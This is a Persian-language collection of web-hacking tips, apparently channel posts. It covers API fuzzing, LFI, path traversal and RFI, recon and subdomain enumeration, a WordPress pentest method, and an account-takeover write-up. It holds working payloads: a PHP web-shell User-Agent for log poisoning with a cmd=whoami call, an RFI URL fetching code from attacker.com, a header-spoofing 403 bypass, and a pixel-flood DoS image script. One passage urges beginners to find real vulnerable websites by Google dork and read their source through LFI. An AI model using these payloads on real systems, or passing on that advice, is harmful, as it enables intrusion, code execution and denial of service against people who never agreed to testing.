API Fuzzing Tips =

معمولا تو REST API ها تو URL ورژن رو هم نشون میده به این صورت
/API/v3/action
یکی از تست کیس هایی که وجود داره اینه که باید ورژن API رو کم کنیم چون ممکنه هنوز فعال باشه و آسیب پذیری داشته باشه در صورتی که API فعلی امنه‌.
اگه v2 و v1 رو امتحان کردین وجود نداشت، به این صورت تست کنین:
/API/v1.0/action
/API/v2.0/action

#API_fuzzing

1⃣ آسیب پذیری LFI =

وقتی ورودی کاربر به عنوان یک فایل فراخوانی میشه داخل صفحه فعلی آسیب پذیری LFI به وجود میاد.

2⃣ آسیب پذیری path/Directory traversal =

مثل آسیب پذیری LFI وقتی به وجود میاد که کاربر بتونه بین فایل و دایرکتوری های مختلف حرکت کنه.

3⃣ پس LFI همون path/Directory traversal هست❓

در صورتی که خیلی از منابع معتبر این دوتا رو یکی میدونن، این دوتا آسیب پذیری های متفاوتی هستند. در path/Directory traversal فقط میتونیم بین فایل ها و دایرکتوری های مختلف حرکت کنیم. اما در LFI علاوه بر مورد قبلی، تابع آسیب پذیر قابلیت اجرایی دارد. فرضا اگر فایلی حاوی تکه کد مخرب که با زبان برنامه نویسی سمت backend نوشته شده به عنوان ورودی به تابع آسیب پذیر داده شود اون کد اجرا خواهد شد. به این تکنیک تو LFI میگن log poisoning.

4⃣ توضیح کامل آسیب پذیری LFI =

شبه کد آسیب پذیر با PHP به LFI 👇

include($_GET['file']);

وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :

http://target.com/index.php?file=news.php

در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.

http://target.com/index.php?file=../../../../../../../etc/passwd

5⃣ استفاده از Wrapper ها =

در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.

php://filter/convert.base64-encode/Resource=index.php

خروجی به صورت base64 هست و باید decode بشه.

6⃣ تبدیل LFI به RCE =

روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU

1⃣⏺6⃣ تکنیک Log Poisoning :

بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.

GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd'])  ?>

و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.

http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami

و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.

7⃣ آسیب پذیری RFI =

تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.

http://target.com/index.php.php?file=http://attacker.com/RFI.txt

اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.

allow_url_include
allow_url_fopen

وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.

1⃣⏺7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه❓

خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم‌ (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم.

#LFI
#RFI
#Path_traversal
#Directory_traversal

403 Bypass Tips =

یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت :

X-Forwarded-For: 127.0.0.1

حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای این موضوع استفاده کنید.
#bypass_waf

اگه تارگت شما اینجا هست میتونین از IP هایی که معرفی کرده برای بایپس استفاده کنین، برای خودم چند نمونه بوده که با این ریپو تونستم بایپس کنم.

اگه میخواین با استفاده از google dork بتونین subdomain enumeration انجام بدین به صورت ابزاری، یه الگوریتم پیشنهادی دارم براتون.
اول اینکه میدونیم به صورت دستی چطور باید اینکارو انجام بدیم :
site:*.microsoft.com -www

و -www هم یعنی دیگه نشونش نده.
حالا باید ببینین چند تب دیتا از تارگت شما تو گوگل هست.
https://www.google.com/search?q=-www+site%3A*.microsoft.com&start=394

متغیر start رو باید روی بیشترین عددی که ساب دامنه میده بهتون تنظیم کنین.
از صفحه ی اول که startاش با 1 شروع میشه شروع میکنین به بیرون کشیدن ساب دامنه ها طبق این الگو :
1. همه ی تگ های a رو بیرون میکشین از سورس کد.
2. همه ی href هارو از تگ های a بیرون میکشین.
3. اون مقدار هایی که شروعشون با http:// یا https:// نیست رو اسکیپ میکنین.
4. یه سری آدرس هارو ازش جدا میکنین که همیشه ثابتن مثل اینا
https://www.google.com
https://accounts.google.com

5. هرچی باقی مونده میشه ساب دامنه و باید ذخیره بشن داخل 2 تا فایل subdomains.txt و words.txt
6. فایل words.txt رو که حاوی اطلاعاتی مثل اینه :
https://test.microsoft.com/path

با یک تابع به test تبدیل میکنیم که فقط ساب دامنه رو داشته باشیم بدون دامنه و پروتکل و مسیر.
7. یه حلقه روی words.txt زده میشه و به هر ساب دامنه یدونه -+ اضافه میشه که نتیجه به صورت بشه :
+-test+-web+-dev

8. حالا متغیر start باید 2 بشه و کنارش از مقدار های بالا استفاده میکنیم که دیگه این ساب دامنه هارو بهمون نشون نده.
https://www.google.com/search?q=-www+site%3A*.microsoft.com+-test+-web+-dev&start=2

9. از مرحله 1 همه چی رو تکرار میکنیم.
نکته : وقتی تعداد ساب دامنه های words.txt به 32 عدد رسید دیگه بهش چیزی اضافه نمیکنیم. چراکه گوگل اجازه نمیده بیشتر از 32 تا ساب دامنه رو فیلتر کنیم. پس با همون فیلتر 32 جلو میریم و هر موقع تو صفحه خروج ای نبود یعنی همه ی ساب دامنه هارو به دست آوردیم. متغیر start احتمال 99 درصد به 394 نمیرسه چون از فیلتر استفاده کردیم.
10. باید subdomains.txt رو sort کنین و مسیر ها و اطلاعات اضافه رو پاک کنین ازش.

ابزاری که خودم برای اینکار نوشتم به عنوان یه ماژول داخل یه پروژه نسبتا بزرگه که وابستگی زیادی بهش داره و نمیتونم به صورت جداگانه سورسشو براتون بزارم.
اگه کسی کدشو نوشت بهم بگه تو کانالم بزارم بقیه هم استفاده کنن.

#google_dork

سال نو همگی مبارک 🎉

External information Gathering =

طبق این mind map میتونیم External Information Gathering رو انجام بدیم.

اهداف :

1️⃣ Subdomain Enumeration
2️⃣ Domain Enumeration
3️⃣ IP Enumeration
4️⃣ ASN Enumeration
5️⃣ CIDR Enumeration
6️⃣ Name Server Enumeration
7️⃣ Mail Server Enumeration
8️⃣ Service Enumeration

معرفی تکنیک ها :
1️⃣ Passive enumeration VS active enumeration =
جمع آوری اطلاعات به روش active یعنی خودمون با تارگت در تعامل باشیم. استفاده از این روش باعث log شدن IP ما روی تارگت میشه. استفاده غیر بهینه از این روش میتونه منجر به بلاک شدن IP ما بشه.
در جمع آوری اطلاعات به روش passive از سرویس های واسط استفاده میکنیم و خودمون به صورت مستقیم با تارگت در ارتباط نیستیم.
2️⃣ Reverse DNS Lookup =
به تبدیل IP به Hostname گفته میشود. برای تبدیل range IP به Hostname از ابزار hakrevdns استفاده میکنیم.
3️⃣ DNS Lookup =
به فرایند تبدیل Hostname به IP گفته میشود. میتونیم با dnsx اینکارو انجام بدیم.
4️⃣ Reverse MX Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از Mail server مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
5️⃣ Reverse NS Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از Name Server مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
6️⃣ Reverse DMARC Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از DMARC مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
7️⃣ DNS Brute Force =
یه روش active برای subdomain enumeration هست. از DNS resolution استفاده میکنه و هر subdomain که حداقل به یک IP مپ بشه رو بهمون نشون میده. مثلا برای subtest1.target.com یک درخواست DNS ارسال میکنه و اگه جوابی برگشت اونو به عنوان subdomain فعال در نظر میگیره. میتونیم از این ابزار برای DNS Brute Force استفاده کنیم.
8️⃣ Google Dork - Copyright =
در پایین هر صفحه ی وب یک copyright مشخص شده است که به متعلق بودن به کمپانی خاصی اشاره دارد. مثل این مورد :

Copyright © 2025 Dell Inc.

با سرچ کردن این مورد در گوگل میتونیم سایر Subdomain و Domain هایی که از این copyright استفاده کردن رو به دست بیاریم.

#information_gathering

9️⃣ ASN Enumeration =
بعد از جمع آوری IP های تارگت، با دستور whois زیر میتونیم ASN هر آیپی رو به دست بیاریم:
whois -h whois.cymru.com 8.8.8.8

🔟 CIDR Enumeration =
بعد از جمع آوری ASN ها، میتونیم با ابزار asnmap همه ی ASN هارو به CIDR تبدیل کنیم.
1️⃣1️⃣ IP Enumeration =
میتونیم با انجام DNS Lookup روی همه ی Subdomain ها IP به دست بیاریم.
اگر بخوایم خیلی رو این موضوع دیپ بشیم باید همه ی CIDR هارو به IP تبدیل کنیم که میتونیم با ابزار mapcidr اینکارو انجام بدیم.

1️⃣2️⃣ Cloud Enumeration =
وب سایت http://kaeferjaeger.gay/?dir=sni-ip-ranges همه ی Range IP های Cloud های معروف مثل amazon و Microsoft رو اسکن میکنه و هر Subdomainی بهشون متصل باشه رو نمایش میده. میتونیم از این سرویس برای Subdomain Enumeration استفاده کنیم.

1️⃣3️⃣ Subdomain Enumeration via CSP response header =
ممکنه سایر Subdomain های تارگت تو هدر CSP به عنوان Whitelist تعریف شده باشن. میتونیم CSP هدر هارو با ابزار httpx به دست بیاریم.

1️⃣4️⃣ Subdomain Enumeration via Cname record =
ممکنه بعضی از Subdomain های تارگت به عنوان cname در سایر Subdomain ها تعریف شده باشند. با ابزار dnsx میتونیم همه ی cname های Subdomain های موجود رو به دست بیاریم.

1️⃣5️⃣ TLS Certificate Search =
هر TLS Certificate میتونه مواردی مثل Common name داشته باشه که نشون میده این Certificate برای چه دامنه ای صادر شده. میتونیم با ابزار tlsx همه ی IPهایی که داریم رو اسکن کنیم و Subdomain های جدیدی از فیلد common name درون Certificate به دست بیاریم.

1️⃣6️⃣ Mail Server Enumeration =
همه ی MX رکورد های Subdomain و Domain های تارگت رو به دست میاریم. میتونیم از dnsx برای اینکار استفاده کنیم. از Mail Server ها در تکنیک Reverse MX Lookup استفاده میکنیم.

1️⃣7️⃣ Name Server Enumeration =
همه ی NS رکورد های Subdomain و Domain های تارگت رو به دست میاریم. میتونیم از dnsx برای اینکار استفاده کنیم. از name Server ها در تکنیک Reverse NS Lookup استفاده میکنیم.

1️⃣8️⃣ Service Enumeration =
وقتی روی یک Port از یک IP سرویسی نصب شده باشد مثل Apache, FTP, Redis و...... باید این سرویس هارو شناسایی کنیم. برای روش Passive میتونیم از این قسمت shodan استفاده کنیم. برای Active Enumeration اگر هدف ما Web server یا Web service باشد که با پروتکل HTTP کار میکند میتونیم با httpx اینکارو انجام بدیم.
در غیر این صورت برای شناسایی سایر سرویس هایی که HTTP نیستند از nmap استفاده میکنیم.

⚠ نکته : ⚠
1) از ابزار cut-cdn برای فیلتر کردن CDN ها استفاده میکنیم.
2) وقتی روش های Reverse MX/NS Lookup به نتیجه میرسه که تارگت از Mail Server و Name Server های شخصی استفاده کرده باشه.
3) بعد از اتمام همه‌ی مراحل باید بررسی کنیم که دامنه های یافت شده متعلق به تارگت باشن.
4) این mind map باید به صورت بازگشتی کار کنه. برای مثال اگر تنها یک IP یا دامنه جدید به دست آمد، همه ی مراحل بالا دوباره باید تکرار شود.

#information_gathering

تو چنل InfoSecTube میتونین به وبینار و دوره های رایگانی که قبلا برگذار شدن دسترسی داشته باشین.
https://youtube.com/@infosectube?si=QGRBigqcGVV2-dPM

رایتاپ Account Takeover با ترکیب Session Fixation و Response Manipulation =

فلوی Login به این صورت بود که با OTP کار میکرد :
1. شماره رو وارد میکردی و یک OTP براش ارسال میشد.
2. همراه با OTP ارسالی توسط کاربر، یک AuthToken هم در Body ارسال میشد.
3. در صورت صحیح بودن، مقدار همون AuthToken در Response در AuthenticationToken قرار میگرفت.
{
"AuthenticationToken":"AuthToken Value is here",
"is_Error":"0",
"Message":"Success Message is here"
}

آسیب پذیری که اینجا داریم مفهومش مثل Session Fixation هست ولی روی Token ها. اگر قبل و بعد از لاگین Session کاربر تغییر نکند این آسیب پذیری وجود دارد.
حالا فقط کافیه OTP دلخواه را برای قربانی در نظر بگیریم و Response Manipulation انجام بدیم. باید مقدار AuthenticationToken قربانی رو برابر با مقدار AuthToken مرحله 2 قرار بدیم و Message و is_Error هم که برای همه ی کاربرا ثابتن.

#Account_Takeover
#Session_Fixation
#Response_Manipulation

متودولوژی تست نفوذ وردپرس =

1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه.
2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین.

تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟
بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه :

1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین.
2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه.
3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود.

حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟

1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین.
2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و‌ .......
3. rate limit bypass.
4. قسمت آپلود عکس پروفایل.
5. آسیب پذیری های low مثل BLH و browser cache weaknesses و.....
6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و....
7. 403 Bypass.
8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد.

#WordPress
#Methodology

اگه میخواین یه وب سایت واقعی که کلی آسیب پذیری داره رو پیدا کنین میتونین با گوگل دورک یه LFI پیدا کنین و با LFI کل سورس های سایت رو بخونین. اگه توی خوندن کد مشکل دارین میتونه تمرین خوبی باشه. از داخل سورس کد هم میتونین دنبال آسیب پذیری باشین. خلاصه برای افراد مبتدی تمرین خوبیه.

جاهایی که image parser هست، یه عکس معمولی انتخاب میکنیم و pixel های طول و عرضشو افزایش میدیم. در نتیجه وقتی تصویر parse میشه مصرف مموری زیاد میشه و تبدیل به DOS میشه.
به این عمل میگن pixel flood که روی عکس های jpg / jpeg انجام میدیم.
برای افزایش pixel های یه عکس معمولی از کد زیر استفاده میکنیم. (اجرا کردنش روی سیستم ضعیف مثل خودکشی میمونه xD)

from PIL import Image
img_path = 'normal.jpg'
img = Image.open(img_path)
new_size = (64250, 64250)
resized_img = img.resize(new_size)
resized_img.save('DOS.jpg')
print("Image resized successfully!")

#DOS
#pixel_flood

قبل از یادگیری مباحث فنی تو کامپیوتر بهتره اول "نحوه‌ی سوال پرسیدن رو یاد گرفت"
سوال رو مستقیم بپرسین بدون سرشماری افراد.
یه سلام گفتین منتظر جواب نباشین ادامش سوالتون رو بپرسین.
سوالتون رو کامل و دقیق تو یه پیام بپرسید که بیننده دقیق متوجه بشه خواسته‌ی شما چیه بدون اینکه سوالی بپرسه.
تو گروه قبل از مطرح کردن چیزی حتما قوانینشو بخونین و خارج از قوانین گروه موضوعی مطرح نکنین.
قبل سوال پرسیدن تو گروه یه سرچ کنین شاید سوال شمارو قبلا یکی پرسیده و به جواب رسیده.
پیامتون رو بریده بریده نفرستید.

اگر نحوه‌ی سوال پرسیدن شما یکی از حالت های بالا هست و اگر از گروهی بن شدید یا سوالتون رو جواب ندادن یا جواب سر بالا گرفتید نباید ناراحت بشید چون شما نحوه‌ی مشارکت با بقیه رو بلد نیستید و برای وقت بقیه ارزش قائل نمیشید.

جاهایی که ورودی کاربر داخل cookie قرار میگیره مثل username میشه یه username با طول کاراکتر زیاد رو فرستاد و درنتیجه سرور وقتی کل دیتارو تو cookie قرار بده خطایی ظاهر میشه با عنوان Cookie یا Request header طولانیه و مرورگر نمیتونه اون سایت رو باز کنه تا وقتی cookie پاک بشه. به این آسیب پذیری میگن Cookie Bomb که منجر به DOS میشه. اما این یک سناریو self هست و برای اکسپلویت باید پارامتری پیدا کرد که مقدارش دقیقا تو cookie قرار بگیره و وقتی لینک رو قربانی باز کرد اکسپلویت بشه(مثل سناریو های CSRF که one click هست). برای مثال :
https://target.com/?param=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.........


#Cookie_Bomb
#DOS

اصولی برای توسعه امن نرم افزار =

1. Least Privilege (اصل کمترین سطح دسترسی) :
برای پیاده سازی این اصل، باید پایین ترین سطح دسترسی به سرویس ها و کاربران داده شود.
برای مثال :

در SQL Server باید مواردی مانند xp_cmdshell غیر فعال شود.
از حساب کاربری root استفاده نشود.

رعایت نکردن این موارد منجر به افزایش سطح دسترسی میشود.

2. leveraging existing components (اصل استفاده از مؤلفه‌های موجود و اثبات شده) :
باید به جای نوشتن فانکشن امنیتی از صفر، از روش ها و کتابخونه ها و الگوریتم های موجود و اثبات شده استفاده کنیم.
برای مثال :

برای Hashing به جای اینکه از الگوریتم های خود ساخته استفاده کنیم بهتره از الگوریتم هایی که طی سال ها اثبات شدن استفاده کنیم مانند bcrypt.
در Web Application استفاده از Session Management استاندارد و آزمایش‌شده به‌مراتب امن‌تر از روش های کاستوم است.

#application_security